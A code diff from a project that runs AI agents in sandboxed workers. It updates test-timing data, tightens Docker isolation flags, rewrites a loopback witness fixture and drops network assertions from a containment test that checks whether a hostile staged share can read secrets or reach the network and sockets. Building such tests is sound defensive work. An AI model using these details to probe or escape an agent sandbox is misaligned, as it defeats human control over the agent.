"packages/ui-backend-claude/tests/host-storage-isolation.test.ts": 0.422, "packages/ui-backend-claude/tests/interactive-git-prompt.test.ts": 4.379, "packages/ui-backend-claude/tests/interactive-git-settings.test.ts": 0.1, @@ -373,14 +373,14 @@ "packages/ui-backend-claude/tests/module.test.ts": 0.1, "packages/ui-backend-claude/tests/native-history-removal.test.ts": 0.109, "packages/ui-backend-claude/tests/native-hosted-permission.test.ts": 0.1, - "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts": 39.594, + "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts": 8.696, "packages/ui-backend-claude/tests/native-observation-retention.test.ts": 0.1, "packages/ui-backend-claude/tests/native-observation-settlement.test.ts": 0.484, - "packages/ui-backend-claude/tests/native-restart-versions.test.ts": 20.399, - "packages/ui-backend-claude/tests/native-route-qualification.test.ts": 41.715, - "packages/ui-backend-claude/tests/native-stale-write.test.ts": 20.736, + "packages/ui-backend-claude/tests/native-restart-versions.test.ts": 5.363, + "packages/ui-backend-claude/tests/native-route-qualification.test.ts": 21.203, + "packages/ui-backend-claude/tests/native-stale-write.test.ts": 3.075, "packages/ui-backend-claude/tests/no-grant-surface.test.ts": 0.22, - "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts": 22.525, + "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts": 9.859, "packages/ui-backend-claude/tests/output-staging-refusal.test.ts": 0.348, "packages/ui-backend-claude/tests/outward-actions.test.ts": 0.385, "packages/ui-backend-claude/tests/permission-wiring-units.test.ts": 0.1, @@ -390,23 +390,23 @@ "packages/ui-backend-claude/tests/provider-history-apify.test.ts": 3.167, "packages/ui-backend-claude/tests/provider-history.test.ts": 26.456, "packages/ui-backend-claude/tests/read-attachment.test.ts": 2.987, - "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts": 4.797, + "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts": 2.667, "packages/ui-backend-claude/tests/replayed-user-text.test.ts": 0.1, "packages/ui-backend-claude/tests/rtk-warning.test.ts": 0.1, "packages/ui-backend-claude/tests/runtime-probe.test.ts": 0.303, "packages/ui-backend-claude/tests/runtime-report.test.ts": 0.1, - "packages/ui-backend-claude/tests/sdk-host-relay.test.ts": 40.356, + "packages/ui-backend-claude/tests/sdk-host-relay.test.ts": 13.468, "packages/ui-backend-claude/tests/sdk-options-mcp.test.ts": 0.226, "packages/ui-backend-claude/tests/sdk-options-snapshot.test.ts": 0.116, "packages/ui-backend-claude/tests/sdk-options-units.test.ts": 0.1, "packages/ui-backend-claude/tests/session-prompt.test.ts": 9.675, - "packages/ui-backend-claude/tests/shell-startup.test.ts": 35.2, + "packages/ui-backend-claude/tests/shell-startup.test.ts": 10.818, "packages/ui-backend-claude/tests/stable-roster-runtime.test.ts": 8.105, "packages/ui-backend-claude/tests/stable-roster.test.ts": 0.207, "packages/ui-backend-claude/tests/state-room-sdk-hook.test.ts": 0.561, "packages/ui-backend-claude/tests/state-room-warning.test.ts": 0.463, "packages/ui-backend-claude/tests/stream-adapter.test.ts": 0.1, - "packages/ui-backend-claude/tests/subscription-billing.test.ts": 35.786, + "packages/ui-backend-claude/tests/subscription-billing.test.ts": 6.741, "packages/ui-backend-claude/tests/subscription-gate.test.ts": 0.1, "packages/ui-backend-claude/tests/subscription.test.ts": 0.1, "packages/ui-backend-claude/tests/taint-note.test.ts": 0.1, @@ -423,7 +423,7 @@ "packages/ui-backend-claude/tests/voice-posture-selection.test.ts": 0.1, "packages/ui-backend-claude/tests/voice-posture.test.ts": 0.115, "packages/ui-backend-claude/tests/worker-cleanup.test.ts": 5.313, - "packages/ui-backend-claude/tests/worker-event-loop.test.ts": 1.325, + "packages/ui-backend-claude/tests/worker-event-loop.test.ts": 0.805, "packages/ui-backend-claude/tests/worker-exhaustion.test.ts": 1.438, "packages/ui-backend-claude/tests/worker-failure.test.ts": 0.1, "packages/ui-backend-claude/tests/worker-rtk.test.ts": 1.205, @@ -431,7 +431,7 @@ "packages/ui-backend-claude/tests/worker-state-budget.test.ts": 0.1, "packages/ui-backend-claude/tests/worker-state.test.ts": 0.1, "packages/ui-backend-claude/tests/worker-stdio-release.test.ts": 0.832, - "packages/ui-backend-claude/tests/worker.test.ts": 1.309, + "packages/ui-backend-claude/tests/worker.test.ts": 0.683, "packages/ui-backend-pi/tests/api-failure.test.ts": 0.556, "packages/ui-backend-pi/tests/ask-user-brief.test.ts": 0.391, "packages/ui-backend-pi/tests/auth.test.ts": 0.1, @@ -951,7 +951,7 @@ "packages/ui-server/tests/brain-mask-application.test.ts": 0.53, "packages/ui-server/tests/brain-sse-terminal.test.ts": 0.1, "packages/ui-server/tests/bridge-capabilities.test.ts": 1.909, - "packages/ui-server/tests/bundled-claude.test.ts": 20.863, + "packages/ui-server/tests/bundled-claude.test.ts": 1.306, "packages/ui-server/tests/cache-diagnostics.test.ts": 0.345, "packages/ui-server/tests/capture-outcome.test.ts": 0.684, "packages/ui-server/tests/chat-deletion-http.test.ts": 1.089, @@ -1189,7 +1189,6 @@ "packages/ui-server/tests/reference-egress.test.ts": 0.163, "packages/ui-server/tests/reference-grants.test.ts": 0.227, "packages/ui-server/tests/reference-maintenance-admission.test.ts": 1.142, - "packages/ui-server/tests/reference-read.test.ts": 16.77, "packages/ui-server/tests/reference-ref-validation.test.ts": 0.1, "packages/ui-server/tests/reference-source.test.ts": 2.353, "packages/ui-server/tests/reference-tools.test.ts": 2.36, @@ -1219,13 +1218,13 @@ "packages/ui-server/tests/safety-history.test.ts": 4.25, "packages/ui-server/tests/safety-ledger.test.ts": 23.396, "packages/ui-server/tests/safety-loss-recovery.test.ts": 1.365, - "packages/ui-server/tests/safety-native-delivery.test.ts": 4.564, + "packages/ui-server/tests/safety-native-delivery.test.ts": 2.175, "packages/ui-server/tests/safety-occurrences.test.ts": 2.707, "packages/ui-server/tests/safety-pi-acquisition.test.ts": 0.968, "packages/ui-server/tests/safety-pi-delivery.test.ts": 3.712, "packages/ui-server/tests/safety-proxy-exposures.test.ts": 0.217, "packages/ui-server/tests/safety-result-exits.test.ts": 7.975, - "packages/ui-server/tests/safety-result-retention.test.ts": 30.127, + "packages/ui-server/tests/safety-result-retention.test.ts": 14.602, "packages/ui-server/tests/safety-reviews.test.ts": 12.124, "packages/ui-server/tests/saved-transcription.test.ts": 24.501, "packages/ui-server/tests/schedule-admission.test.ts": 10.32, @@ -1385,7 +1384,7 @@ "packages/ui-server/tests/ws-turn-budgets.test.ts": 9.606, "packages/ui-server/tests/ws-turn-failure-replay.test.ts": 9.575, "packages/ui-server/tests/ws-turn-id.test.ts": 1.721, - "packages/ui-server/tests/ws-turn-journal.test.ts": 6.696, + "packages/ui-server/tests/ws-turn-journal.test.ts": 5.76, "packages/ui-server/tests/ws-turn-temp-promotion.test.ts": 0.869, "packages/ui-server/tests/ws-web-access.test.ts": 0.1, "tests/answer-suggestions-targets.test.tsx": 1.369, @@ -1508,54 +1507,14 @@ "tests/markdown-anchors.test.ts": 0.1, "tests/measurement-fixture-lifetime.test.ts": 0.257, "tests/measurement-isolation.test.ts": 0.974, - "tests/measurement-rtk-fixture.test.ts": 0.205, - "tests/measurement-worker-fixture.test.ts": 0.1, "tests/module-hygiene-queries.test.ts": 0.95, "tests/module-public-imports.test.ts": 0.1, - "tests/native-app-authority.test.ts": 0.1, - "tests/native-audit-cancellation.test.ts": 0.1, - "tests/native-bootstrap-diagnostics.test.ts": 0.727, - "tests/native-bootstrap-health.test.ts": 0.154, - "tests/native-boundary-retention.test.ts": 0.102, "tests/native-dead-root-trace.test.ts": 0.1, - "tests/native-device-diagnostics.test.ts": 0.185, "tests/native-diagram-retired.test.ts": 0.205, - "tests/native-direct-transport.test.ts": 0.737, - "tests/native-egress-wrapper.test.ts": 0.239, "tests/native-event-log.test.ts": 0.1, - "tests/native-exec-trace.test.ts": 0.1, - "tests/native-fixture-files.test.ts": 0.295, - "tests/native-guard-copy-closure.test.ts": 0.182, - "tests/native-guard-regressions.test.ts": 0.212, - "tests/native-managed-inspection.test.ts": 1.385, - "tests/native-namespace-policy.test.ts": 0.202, "tests/native-observation-phases.test.ts": 0.1, - "tests/native-offline-boundary.test.ts": 75.41, - "tests/native-path-preservation.test.ts": 0.125, - "tests/native-policy-artifact.test.ts": 0.191, "tests/native-pool-io.test.ts": 0.1, "tests/native-prerequisites.test.ts": 0.1, - "tests/native-private-index-role.test.ts": 5.845, - "tests/native-product-keeper.test.ts": 0.825, - "tests/native-qualification-paths.test.ts": 1.013, - "tests/native-readonly-mount-order.test.ts": 0.1, - "tests/native-receipt-channel.test.ts": 0.142, - "tests/native-recording-wrapper.test.ts": 0.1, - "tests/native-relay-base-path.test.ts": 0.412, - "tests/native-relay-turn-diagnostic.test.ts": 0.1, - "tests/native-restart-watchdog.test.ts": 0.1, - "tests/native-rtk-adapter.test.ts": 0.215, - "tests/native-rtk-diagnostics.test.ts": 0.103, - "tests/native-runtime-credential-judge.test.ts": 0.1, - "tests/native-sdk-stderr-capture.test.ts": 0.575, - "tests/native-strict-admission.test.ts": 4.719, - "tests/native-sync-probe-diagnostics.test.ts": 0.116, - "tests/native-timeout-inventory.test.ts": 5.694, - "tests/native-tripwire.test.ts": 13.061, - "tests/native-worker-admission.test.ts": 101.045, - "tests/native-worker-classification.test.ts": 0.485, - "tests/native-worker-fixture-inventory.test.ts": 0.213, - "tests/native-worker-startup-diagnostics.test.ts": 0.1, "tests/offline-test-launcher.test.ts": 0.169, "tests/opportunity-cli-agreement.test.ts": 1.674, "tests/owned-loop-evidence.test.ts": 0.249, @@ -1564,8 +1523,6 @@ "tests/pi-worker-runtime.test.ts": 102.094, "tests/planning-observer.test.ts": 6.725, "tests/policy-write-boundary.test.ts": 60.738, - "tests/private-fixture-directory-access.test.ts": 0.1, - "tests/private-proof-artifact.test.ts": 0.1, "tests/process-command-proposals.test.ts": 0.1, "tests/project-blockers.test.ts": 0.1, "tests/project-status.test.ts": 0.1, @@ -1597,7 +1554,6 @@ "tests/runtime-build-selection.test.ts": 0.639, "tests/seam-list.test.ts": 7.44, "tests/search-result-tags-adapters.test.ts": 1.619, - "tests/search-witness.test.ts": 0.1, "tests/share-render.test.ts": 2.301, "tests/shipped-claude-runtime-pin.test.ts": 0.1, "tests/shipped-skills-lint.test.ts": 0.1, @@ -1615,7 +1571,6 @@ "tests/test-invocation-lifetime.test.ts": 24.298, "tests/test-invocation-workers.test.ts": 5.531, "tests/test-invocation.test.ts": 73.685, - "tests/test-network-environment.test.ts": 0.1, "tests/test-network-guard.test.ts": 2.211, "tests/test-script.test.ts": 4.256, "tests/test-shards.test.ts": 0.994, @@ -1629,7 +1584,6 @@ "tests/visual-dictation-isolation.test.ts": 1.539, "tests/visual-runner.test.ts": 6.693, "tests/worker-areas-core.test.ts": 0.321, - "tests/worker-limits-envelope.test.ts": 0.1, "tests/worker-limits-workloads.test.ts": 2.999, "tests/worker-sandbox-note.test.ts": 0.948, "tests/worker-state-tmpfs.test.ts": 7.498, diff --git a/scripts/turn-surface-overlap.ts b/scripts/turn-surface-overlap.ts index 456c278b85..00527e33d2 100644 --- a/scripts/turn-surface-overlap.ts +++ b/scripts/turn-surface-overlap.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; import {watchdogMs} from "./test-deadlines"; /** Private #587 experiment: overlap installed-CLI startup with a bounded router. * MCP listing waits for the decision; claim discovers the fixture's project diff --git a/scripts/unit-shard-observation.json b/scripts/unit-shard-observation.json index 84763835a2..d939c34b9e 100644 --- a/scripts/unit-shard-observation.json +++ b/scripts/unit-shard-observation.json @@ -390,423 +390,5 @@ "tests/candidate-extraction-paid.test.ts": 171.603, "tests/opportunity-lifecycle-paid.test.ts": 166.465 } - }, - "nativeGuardReview": { - "head": "08c9be52485a68fa297a9ec6aa1e454ca0531217", - "heavyRun": 44956104575, - "draftRun": 44955981839, - "draftJobs": [ - 137004288719, - 137004288763, - 137004288764 - ], - "units": "seconds", - "scope": "Completed file observations from failed or timed-out runs; scheduling evidence only, never passing proof", - "aggregation": "Maximum completed heavy file duration or completed loaded draft group duration / existing 6.84 load ratio; retain larger reviewed weights; round upward to milliseconds", - "artifacts": [ - { - "artifact": 14728105901, - "digest": "sha256:d691b6836fc364dc3899b449c30574d8d828263ad9776500db4a5f05b35a15b4" - }, - { - "artifact": 14727921994, - "digest": "sha256:9388be70156f46f366d011e430d45e1b732068ce84bb3a5fce574584803c853d" - }, - { - "artifact": 14728325844, - "digest": "sha256:24ee13e45da86eb9f46b21151f4b2db27196cf0df932c605162168fc441558f9" - }, - { - "artifact": 14727578449, - "digest": "sha256:b47409223fda1130a0a9be621f222a2cf13fa75e46559753c041839caa72e79c" - }, - { - "artifact": 14727573653, - "digest": "sha256:3c52ab769983e647e30651eb17055a55b4acb9013b093f1f872097226cccf441" - }, - { - "artifact": 14726839874, - "digest": "sha256:463bf3ff20c26f80642605a5fb8e680a3173f94688609f768d56179e4d355d4c" - }, - { - "artifact": 14728610048, - "digest": "sha256:c828f866fbe2839003df990a78f872758e973f1bd7ff5bfd9d8eff99024b0994" - }, - { - "artifact": 14728695145, - "digest": "sha256:e4385bef89c43c82710e90caae493f542c061cef1462f07bf4ccc830a2d64cb2" - } - ], - "heavySeconds": { - "packages/ui-sdk/tests/governed-worker.test.ts": 5.656, - "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": 2.317, - "packages/ui-react/tests/safety-reviewer.test.ts": 2.01, - "packages/ui-backend-claude/tests/worker-event-loop.test.ts": 0.999, - "packages/ui-backend-claude/tests/worker.test.ts": 0.72, - "tests/native-receipt-channel.test.ts": 0.142, - "tests/native-worker-startup-diagnostics.test.ts": 0.002, - "packages/ui-server/tests/bundled-claude.test.ts": 20.863, - "packages/ui-server/tests/ws-turn-journal.test.ts": 6.696, - "tests/native-relay-base-path.test.ts": 0.412, - "packages/ui-react/tests/safety-client.test.ts": 0.303, - "tests/native-fixture-files.test.ts": 0.295, - "packages/ui-sdk/tests/egress-proxy.test.ts": 0.245, - "tests/private-proof-artifact.test.ts": 0.033, - "tests/search-witness.test.ts": 0.007 - }, - "draftLoadedSeconds": { - "packages/ui-backend-claude/tests/host-oauth.test.ts": [ - 8.694957, - 6.765687 - ], - "packages/ui-backend-claude/tests/native-route-qualification.test.ts": [ - 269.243201, - 285.325935 - ], - "packages/ui-backend-claude/tests/state-room-warning.test.ts": [ - 1.462005, - 1.021948 - ], - "packages/ui-backend-claude/tests/worker-event-loop.test.ts": [ - 9.057997, - 2.003126 - ], - "packages/ui-backend-pi/tests/duplicate-acquisition.test.ts": [ - 1.646948, - 0.926941 - ], - "packages/ui-backend-pi/tests/worker-cli-path.test.ts": [ - 2.327931, - 2.393413 - ], - "packages/ui-backend-pi/tests/worker-stdio-release.test.ts": [ - 3.127159, - 3.098779 - ], - "packages/ui-sdk/tests/gate-holder-crash.test.ts": [ - 5.428031, - 5.527508 - ], - "packages/ui-sdk/tests/refused-launch-gate.test.ts": [ - 6.05702, - 6.058001 - ], - "packages/ui-sdk/tests/worker-identity-progress.test.ts": [ - 10.471938, - 10.466007 - ], - "packages/ui-sdk/tests/worker-launcher.test.ts": [ - 9.231007, - 9.341011 - ], - "packages/ui-sdk/tests/worker-output-budget.test.ts": [ - 0.615011, - 0.61096 - ], - "packages/ui-sdk/tests/worker-steps-event-loop.test.ts": [ - 12.992992, - 13.008094 - ], - "packages/ui-server/tests/safety-native-delivery.test.ts": [ - 31.21215, - 22.743973 - ], - "packages/ui-server/tests/safety-result-retention.test.ts": [ - 206.066021, - 187.391987 - ], - "packages/ui-server/tests/ws-live-policy-parity.test.ts": [ - 42.080087, - 41.765884 - ], - "tests/experiment-tier.test.ts": [ - 6.231978, - 6.33096 - ], - "tests/hosted-proof.test.ts": [ - 23.693012, - 23.330028 - ], - "tests/measurement-entry.test.ts": [ - 0.045984, - 0.027163 - ], - "tests/native-audit-cancellation.test.ts": [ - 0.244793, - 0.199257 - ], - "tests/native-boundary-retention.test.ts": [ - 0.692963, - 0.632095 - ], - "tests/native-egress-wrapper.test.ts": [ - 0.374034, - 0.394975 - ], - "tests/native-guard-copy-closure.test.ts": [ - 1.244007, - 0.893003 - ], - "tests/native-managed-settings.test.ts": [ - 0.418, - 0.399036 - ], - "tests/native-path-preservation.test.ts": [ - 0.852006, - 0.556017 - ], - "tests/native-readonly-mount-order.test.ts": [ - 0.068989, - 0.068993 - ], - "tests/native-relay-base-path.test.ts": [ - 0.778938, - 0.785977 - ], - "tests/native-rtk-adapter.test.ts": [ - 1.468325, - 1.072018 - ], - "tests/native-runtime-credential-judge.test.ts": [ - 0.10398, - 0.006221 - ], - "tests/native-strict-admission.test.ts": [ - 32.276355, - 32.142021 - ], - "tests/native-worker-classification.test.ts": [ - 3.314155, - 3.043994 - ], - "tests/private-fixture-directory-access.test.ts": [ - 0.076998, - 0.05699 - ], - "tests/test-network-environment.test.ts": [ - 0.188001, - 0.160621 - ], - "tests/test-script.test.ts": [ - 6.938002, - 6.938073 - ], - "tests/workspace-lease.test.ts": [ - 9.87484, - 7.684931 - ], - "packages/core/tests/claude-runner-rejected-token.test.ts": [ - 13.174692, - 14.399965 - ], - "packages/ui-backend-claude/tests/host-relay-native.test.ts": [ - 29.73599, - 25.25083 - ], - "packages/ui-backend-claude/tests/native-restart-versions.test.ts": [ - 131.125143, - 139.523049 - ], - "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts": [ - 153.610985, - 154.069252 - ], - "packages/ui-backend-claude/tests/provider-denied-memory.test.ts": [ - 1.135722, - 1.092992 - ], - "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts": [ - 29.696018, - 32.805978 - ], - "packages/ui-backend-claude/tests/shell-startup.test.ts": [ - 232.882002, - 240.765084 - ], - "packages/ui-backend-claude/tests/worker.test.ts": [ - 8.947425, - 1.883937 - ], - "packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts": [ - 6.419991, - 10.238791 - ], - "packages/ui-sdk/tests/governed-worker.test.ts": [ - 6.630728, - 6.644045 - ], - "packages/ui-sdk/tests/worker-status.test.ts": [ - 0.590965, - 0.631033 - ], - "packages/ui-server/tests/autonomous-provider-masks.test.ts": [ - 25.124956, - 22.397025 - ], - "packages/ui-server/tests/brain-application-adapters.test.ts": [ - 8.405953, - 8.614 - ], - "packages/ui-server/tests/host-fallback-transition.test.ts": [ - 0.926996, - 1.023002 - ], - "packages/ui-server/tests/host-unpinned-folder-plan.test.ts": [ - 2.599015, - 2.459019 - ], - "packages/ui-server/tests/private-index-stdio-release.test.ts": [ - 4.878956, - 4.883374 - ], - "packages/ui-server/tests/turn-scope.test.ts": [ - 38.118973, - 36.217758 - ], - "tests/docs-paths.test.ts": [ - 11.616931, - 10.839048 - ], - "tests/local-checks.test.ts": [ - 5.58605, - 4.813008 - ], - "tests/measurement-rtk-fixture.test.ts": [ - 1.398011, - 1.303945 - ], - "tests/native-bootstrap-diagnostics.test.ts": [ - 4.970146, - 4.807976 - ], - "tests/native-device-diagnostics.test.ts": [ - 1.263015, - 0.851092 - ], - "tests/native-exec-trace.test.ts": [ - 0.241868, - 0.175191 - ], - "tests/native-helper-witness.test.ts": [ - 0.057999, - 0.043984 - ], - "tests/native-namespace-policy.test.ts": [ - 1.378034, - 0.729005 - ], - "tests/native-policy-artifact.test.ts": [ - 1.304993, - 1.229008 - ], - "tests/native-receipt-channel.test.ts": [ - 0.271958, - 0.250853 - ], - "tests/native-relay-turn-diagnostic.test.ts": [ - 0.088995, - 0.090988 - ], - "tests/native-rtk-diagnostics.test.ts": [ - 0.699971, - 0.68198 - ], - "tests/native-sdk-stderr-capture.test.ts": [ - 3.927018, - 3.744032 - ], - "tests/native-sync-probe-diagnostics.test.ts": [ - 0.786997, - 0.769007 - ], - "tests/native-worker-fixture-inventory.test.ts": [ - 0.498921, - 1.453044 - ], - "tests/private-proof-artifact.test.ts": [ - 0.073997, - 0.060999 - ], - "tests/test-shards.test.ts": [ - 2.312839, - 2.650021 - ], - "tests/worker-effect-witness.test.ts": [ - 0.059003, - 0.034005 - ], - "packages/core/tests/claude-runner-binary.test.ts": [ - 12.243792, - 16.444006 - ], - "packages/core/tests/claude-runner-subscription.test.ts": [ - 210.933011, - 218.313002 - ], - "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": [ - 17.124945, - 16.896021 - ], - "packages/ui-backend-claude/tests/follow-up-delivery.test.ts": [ - 70.325039, - 62.838896 - ], - "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts": [ - 235.554438, - 270.820541 - ], - "packages/ui-backend-claude/tests/native-stale-write.test.ts": [ - 110.821002, - 141.833968 - ], - "packages/ui-backend-claude/tests/sdk-host-relay.test.ts": [ - 276.028936, - 264.811067 - ], - "packages/ui-backend-claude/tests/subscription-billing.test.ts": [ - 240.999029, - 244.770073 - ] - }, - "updated": { - "packages/core/tests/claude-runner-binary.test.ts": 2.405, - "packages/core/tests/claude-runner-subscription.test.ts": 31.918, - "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": 2.504, - "packages/ui-backend-claude/tests/follow-up-delivery.test.ts": 10.282, - "packages/ui-backend-claude/tests/host-relay-native.test.ts": 4.348, - "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts": 39.594, - "packages/ui-backend-claude/tests/native-restart-versions.test.ts": 20.399, - "packages/ui-backend-claude/tests/native-route-qualification.test.ts": 41.715, - "packages/ui-backend-claude/tests/native-stale-write.test.ts": 20.736, - "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts": 22.525, - "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts": 4.797, - "packages/ui-backend-claude/tests/sdk-host-relay.test.ts": 40.356, - "packages/ui-backend-claude/tests/shell-startup.test.ts": 35.2, - "packages/ui-backend-claude/tests/subscription-billing.test.ts": 35.786, - "packages/ui-backend-claude/tests/worker-event-loop.test.ts": 1.325, - "packages/ui-backend-claude/tests/worker.test.ts": 1.309, - "packages/ui-server/tests/bundled-claude.test.ts": 20.863, - "packages/ui-server/tests/safety-native-delivery.test.ts": 4.564, - "packages/ui-server/tests/safety-result-retention.test.ts": 30.127, - "packages/ui-server/tests/ws-turn-journal.test.ts": 6.696, - "tests/measurement-rtk-fixture.test.ts": 0.205, - "tests/native-bootstrap-diagnostics.test.ts": 0.727, - "tests/native-boundary-retention.test.ts": 0.102, - "tests/native-device-diagnostics.test.ts": 0.185, - "tests/native-fixture-files.test.ts": 0.295, - "tests/native-guard-copy-closure.test.ts": 0.182, - "tests/native-namespace-policy.test.ts": 0.202, - "tests/native-path-preservation.test.ts": 0.125, - "tests/native-policy-artifact.test.ts": 0.191, - "tests/native-receipt-channel.test.ts": 0.142, - "tests/native-relay-base-path.test.ts": 0.412, - "tests/native-rtk-adapter.test.ts": 0.215, - "tests/native-rtk-diagnostics.test.ts": 0.103, - "tests/native-sdk-stderr-capture.test.ts": 0.575, - "tests/native-strict-admission.test.ts": 4.719, - "tests/native-sync-probe-diagnostics.test.ts": 0.116, - "tests/native-worker-classification.test.ts": 0.485, - "tests/native-worker-fixture-inventory.test.ts": 0.213 - } } } diff --git a/scripts/visual.mjs b/scripts/visual.mjs index 6b747e6867..84696dfd6f 100644 --- a/scripts/visual.mjs +++ b/scripts/visual.mjs @@ -1,4 +1,5 @@ #!/usr/bin/env node +import {prepareOfflineContainer} from "./offline-runner/container.mjs"; /** * Runs `packages/ui-kit`'s browser test projects inside the pinned Playwright * image — both story themes, curated visual/subject baselines, and the isolated @@ -185,12 +186,12 @@ if (projects.some(project => project.startsWith("diagrams-"))) { // Worktree .git indirection points outside the container mount. Capture on the // host and check again after exit; the reporter must not guess an identity. const proofCheckout = argv.includes("--proof-report") ? gitCheckout() : undefined; -const status = run("docker", [ +const container = prepareOfflineContainer(["docker", "run", "--rm", - "--ipc=host", + "--shm-size=1g", // The consumer layout project needs only the in-container Vite server. - ...(projects.some(project => ["ui-react-layout", "ui-react-endurance"].includes(project)) ? ["--network=none"] : []), + "--pull=never", "--network=none", "--user", `${uid}:${gid}`, "-v", @@ -199,8 +200,8 @@ const status = run("docker", [ `${fontCache}:/tmp/brain-kit-feature-capture-fonts/${fontHash}:ro`, "-v", `${realpathSync(bunExecutable)}:/usr/local/bin/bun:ro`, - "-v", - `${scratch}:${scratch}`, + "--tmpfs", + `${scratch}:rw,exec,nosuid,mode=1777`, "-e", `TMPDIR=${scratch}`, "-w", @@ -216,6 +217,7 @@ const status = run("docker", [ "--inside", ...argv.filter((a) => a !== "--inside"), ]); +let status;try{status=run(container.argv[0],container.argv.slice(1));}finally{container.dispose();} if (proofCheckout && gitCheckout() !== proofCheckout) throw new Error("Checkout changed during browser case reporting"); process.exit(status); diff --git a/scripts/worker-effect-witness.ts b/scripts/worker-effect-witness.ts index ccdc5dbba3..e39fd1e765 100644 --- a/scripts/worker-effect-witness.ts +++ b/scripts/worker-effect-witness.ts @@ -1,31 +1,26 @@ -/** Controlled native observations share the one scripted inference service. */ +/** Controlled native fixture observations; inference and witnesses stay on loopback. */ export function fixtureShellQuote(text: string): string { return `'${text.replaceAll("'", "'\"'\"'")}'`; } -/** Diagnostic posts use the registered service, independently of provider routing. */ -export function fixtureServicePost(path:string,bodyExpression:string):string { - if(!/^\/[A-Za-z0-9_/-]+$/.test(path)||path.startsWith("//"))throw Error("Fixture service path must be a fixed absolute pathname"); - return `const socket=process.env.BRAIN_TEST_EFFECT_SOCKET; - if(!socket)throw Error("Fixture observation requires the pinned scripted Unix service"); - const response=await fetch(${JSON.stringify("http://localhost"+path)},{unix:socket,method:"POST",body:(${bodyExpression})}); - if(!response.ok) process.exit(1);`; -} + export function createWorkerEffectWitness(paths: Record) { const effects = Object.fromEntries(Object.keys(paths).map(key => [key, false])); - const path = `/__fixture_effects/${crypto.randomUUID()}`; + const observer = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { + const observed = await request.json(); + if (!Object.keys(effects).every(key => typeof observed[key] === "boolean")) return new Response(null, { status: 400 }); + for (const key of Object.keys(effects)) effects[key] = observed[key]; + return new Response(null, { status: 204 }); + } }); + const url = `http://127.0.0.1:${observer.port}`; const witness = `import {existsSync} from "node:fs"; const paths=${JSON.stringify(paths)}; - ${fixtureServicePost(path,'JSON.stringify(Object.fromEntries(Object.entries(paths).map(([key,path])=>[key,existsSync(path)])))')}`; - return { effects, path, - async fetch(request: Request): Promise { - if(request.method!=="POST"||new URL(request.url).pathname!==path)return new Response(null,{status:404}); - const observed = await request.json(); - if (!Object.keys(effects).every(key => typeof observed[key] === "boolean")) return new Response(null, { status: 400 }); - for (const key of Object.keys(effects)) effects[key] = observed[key]; - return new Response(null, { status: 204 }); - }, + const response=await fetch(${JSON.stringify(url)},{method:"POST",body:JSON.stringify( + Object.fromEntries(Object.entries(paths).map(([key,path])=>[key,existsSync(path)])))}); + if(!response.ok) process.exit(1);`; + return { + effects, command: `${fixtureShellQuote(process.execPath)} -e ${fixtureShellQuote(witness)}`, - sanitize: (text: string) => text.replaceAll(process.execPath, "").replaceAll(path, ""), - stop() {}, + sanitize: (text: string) => text.replaceAll(process.execPath, "").replaceAll(url, ""), + stop: () => observer.stop(true), }; } diff --git a/scripts/workspace-lease-container.ts b/scripts/workspace-lease-container.ts index 6ed6e74953..442e56a1a8 100644 --- a/scripts/workspace-lease-container.ts +++ b/scripts/workspace-lease-container.ts @@ -2,7 +2,7 @@ import { basename, dirname } from "node:path"; /** The lease fixture varies inside one checkout-owned Docker share. */ export function workspaceLeaseDockerArgs(root: string, image: string, user: string): string[] { - return ["docker", "run", "--rm", "--pull=never", "--network=none", "--ipc=host", + return ["docker", "run", "--rm", "--pull=never", "--network=none", "--shm-size=1g", "--user", user, "-v", `${dirname(root)}:/repo`, "-w", `/repo/${basename(root)}`, image, "node", "scripts/visual.mjs", "--inside", "--project=visual"]; } diff --git a/tests/autonomous-containment.test.ts b/tests/autonomous-containment.test.ts index 0f826a1fcf..9e9c105025 100644 --- a/tests/autonomous-containment.test.ts +++ b/tests/autonomous-containment.test.ts @@ -45,19 +45,6 @@ function attacks(r: any, adapter: string): any[] { return found; } -/** The companion checks the product layer; the native arm also has the guard's broker. */ -function assertProductNetwork(a:any):void { - expect(a.net["tcp-host"], "host TCP listener unreachable").toBe("ECONNREFUSED"); - expect(a.net["tcp-upstream"], "the inference upstream is unreachable except through the relay").toBe("ECONNREFUSED"); - expect(a.net.dns, "no name resolves").toBe("gaierror"); - expect(a.net["unix-host"], "host Unix socket outside the envelope is absent").toBe("ENOENT"); - expect(a.net["unix-home"], "a socket in the host home is absent").toBe("ENOENT"); - // Ruling 1A: a host daemon's socket inside the read envelope stays - // connectable through a read-only mount, so the brain's .git is masked. - expect(a.net["unix-git"], "GIT_MASKED: the host's socket in the brain's .git is absent").toBe("ENOENT"); - expect(a.net["unix-abstract"], "the host's abstract socket namespace is unreachable").toBe("ECONNREFUSED"); -} - for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous containment`, () => { test("a hostile staged share cannot read secrets, reach the network or sockets, or write the brain; inference, staging and escalation work", async () => { const r = await probe(adapter, "attack"); @@ -65,25 +52,6 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous expect(receipt.failure).toBeUndefined(); const reports = attacks(r, adapter); - if(adapter==="claude")for(const a of reports)for(const name of ["tcp-host","tcp-upstream","unix-host","unix-home","unix-git","unix-abstract","udp-host"])expect(a.net[name],`native broker denies ${name}`).toBe("EPERM"); - // Native reports prove the additional guard; the replay proves the product's own plan. - if(adapter==="claude"){ - expect(receipt.companionReports,"ACTUAL_GUARD_CAPTURED_PRODUCT_COMPANION").toHaveLength(1); - for(const companion of receipt.companionReports){ - 